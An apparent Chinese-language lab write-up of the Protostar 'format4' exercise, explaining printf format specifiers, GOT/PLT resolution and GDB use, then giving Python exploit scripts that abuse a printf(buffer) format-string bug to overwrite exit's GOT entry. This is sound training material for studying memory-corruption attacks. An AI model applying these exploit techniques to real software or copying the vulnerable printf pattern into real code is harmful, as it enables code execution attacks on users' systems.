• %c:输出字符,配上%n可用于向指定地址写数据
  • %d:输出十进制整数,配上%n可用于向指定地址写数据
  • %x:输出16进制数据,如:%i$x 表示向泄露偏移i处4字节长的16进制数据,%i$lx表示泄露偏移i处8字节长的16进制数据,与环境无关。
  • %p: 输出16进制数据,与%x类似,不同的是会加上0x,32位输出4字节长度,64位输出8字节长度,可用于判断环境。
  • %s: 输出字符串,即将偏移处指针指向的字符串输出。例如%i$s,表示输出偏移位i处地址所指向的字符串,与环境无关。
  • %n: 将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置。例如:%100x10$n表示将0x64(x表示16进制)写入偏移10处保存的指针所指向的地址(4字节)%$hn :写入空间为2字节,%$hhn:写入空间为1字节;%$lln:8字节。在32位和64位环境下都一样。

image.png

Proto start

format4

code :

  1. #include <stdlib.h>
  2. #include <unistd.h>
  3. #include <stdio.h>
  4. #include <string.h>
  5. int target;
  6. void hello(){
  7. printf("code execution redirected! you win\n");
  8. _exit(1);
  9. }
  10. void vuln(){
  11. char buffer[512];
  12. fgets(buffer, sizeof(buffer), stdin);
  13. printf(buffer); //fsb
  14. exit(1);
  15. }
  16. int main(int argc, int **argv){
  17. vuln();
  18. }

0x01 GOT表和PLT表的关系

GOT是一个存储外部库函数的表
PLT则是由代码片段组成的,每个代码片段都跳转到GOT表中的一个具体的函数调用
函数第一次调用时,需要对动态函数进行地址解析和重定位
栈利用 - 图2

  1. 函数调用跳入到PLT表中;
  2. PLT表跳到GOT表中;
  3. 由GOT表回跳到PLT表中,这时候进行压栈,把代表函数的ID压栈;
  4. 跳转到公共的PLT表项中;
  5. 进入到GOT表中,然后_dl_runtime_resolve对动态函数进行地址解析和重定位,
  6. 把动态函数真实的地址写入到GOT表项中,然后执行函数并返回。

函数之后被调用:
栈利用 - 图3

  1. 由函数调用跳入PLT表
  2. 由PLT表跳入GOT表,这个时候该表项已经是动态函数的真实地址,然后执行

    0x02 GDB调试

    image.png
    可以看到exit的GOT地址为 0x080483f2
    查看hello的地址为 0x80484b4

image.png
可以看到,当程序还没有运行时,gdb无法修改GOT表中的地址;设置两个端点,分别在printf函数之前和之后,启动程序
在printf 之前的断点断下来,设置exit的GOT表的地址为hello的地址:set {int}0x8049724 = 0x80484b4
继续运行:
image.png
可以看到程序成功执行了Hello函数。但是,对于远程的函数,我们没办法直接修改地址,所以需要另外找一种方式。

0x03格式化字符串

查看源代码,发现存在格式化字符串漏洞,我们可以尝试利用格式化字符串进行地址修改。
首先,我们需要测试格式化字符串的偏移位置:
image.png
image.png
可以看出AAAA的偏移是4:

  • %n$x 以十六进制输出偏移为n的值 (64位:%n$lx)
  • %n$n 将打印字符的个数输入偏移位n的地址中

我们可以修改exp:
image.png
我们修改exp后,将数字输入到目标地址中,可以看到,字符个数变成了0x14
怎么样把目标地址的数据改成我们想改成的地址呢?

  1. 我们可以输入0x80484b4个数字,但是buffer的大小限制只有512位,所以否定
  2. 我们可以利用格式化字符串输出的例子:%5x :输出5个字节长;那么,我们就可以尝试输出0x80484b4个字符,但是,这样就会花费一堆时间,这种只是理论上可行
  3. 可以尝试分开输入,先输入低四个字节,再输入高四个字节

修改exp

  1. import struct
  2. HELLO = 0x80484b4
  3. EXIT_GOT = 0x8049724
  4. def pad(s):
  5. return s+'X'*(512-len(s))
  6. exploit = ""
  7. exploit += struct.pack("I", EXIT_GOT)
  8. exploit += struct.pack("I", EXIT_GOT+2)
  9. exploit += "AAAABBBBCCCCDDDD"
  10. exploit += "%33948x"
  11. exploit += "%4$n"
  12. exploit += "%x"
  13. exploit += "%5$n"
  14. print pad(exploit)

可以看到,地址后四位被成功修改了:
image.png
但是,前四位如何修改呢,这就需要用到溢出这个点,我们可以使用0x10804来代替0x804,其中最高位1会被溢出,就会留下0804
所以修改exp:

  1. import struct
  2. HELLO = 0x80484b4
  3. EXIT_GOT = 0x8049724
  4. def pad(s):
  5. return s+'X'*(512-len(s))
  6. exploit = ""
  7. exploit += struct.pack("I", EXIT_GOT)
  8. exploit += struct.pack("I", EXIT_GOT+2)
  9. exploit += "AAAABBBBCCCCDDDD"
  10. exploit += "%33948x"
  11. exploit += "%4$n"
  12. exploit += "%33616x"
  13. exploit += "%5$n"
  14. print pad(exploit)

image.png
可以看到我们的exp运行成功。

0x04 总结

知识点:

  • GOT表的修改
  • 格式化字符串的修改

计算libc偏移量需要泄露函数地址

格式化字符串函数:

prinf
syslog

格式化字符串为了防止截断,还可以后置,只要找对位置就好